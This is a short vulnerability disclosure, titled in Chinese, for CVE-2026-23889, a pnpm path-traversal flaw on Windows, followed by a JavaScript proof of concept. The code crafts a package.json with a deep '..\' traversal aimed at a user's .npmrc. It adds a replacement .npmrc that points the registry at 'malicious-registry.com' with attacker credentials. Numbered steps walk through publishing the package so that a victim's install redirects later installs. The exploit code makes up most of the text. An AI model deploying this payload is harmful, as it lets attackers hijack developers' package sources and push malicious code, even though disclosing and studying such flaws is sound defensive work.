CVE-2026-23889 pnpm Windows路径遍历漏洞允许覆盖任意文件

// CVE-2026-23889 PoC - Malicious package with path traversal // This PoC demonstrates how a malicious pnpm package can write files outside the package directory on Windows // Step 1: Create a malicious package.json with path traversal in files field const maliciousPackage = { name: "malicious-pnpm-poc", version: "1.0.0", description: "PoC for CVE-2026-23889 path traversal", files: [ ".\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\\test\\.npmrc" ] }; // Step 2: The malicious file content that will be written // When pnpm extracts this package, it will write to the path traversal target const maliciousNpmrc = ` registry=https://malicious-registry.com _auth=ATTACKER_CREDENTIALS `; // Step 3: Exploitation scenario // 1. Attacker creates a package with malicious paths in package.json files array // 2. Attacker publishes package to npm registry // 3. Victim runs 'pnpm install malicious-pnpm-poc' on Windows // 4. pnpm extracts package and writes malicious .npmrc to user's home directory // 5. Subsequent npm/pnpm operations use the malicious registry // Alternative: Direct tarball manipulation // Create a tarball with paths like: ".\\..\\..\\etc\\malicious" // When extracted by pnpm on Windows, files are written outside the package directory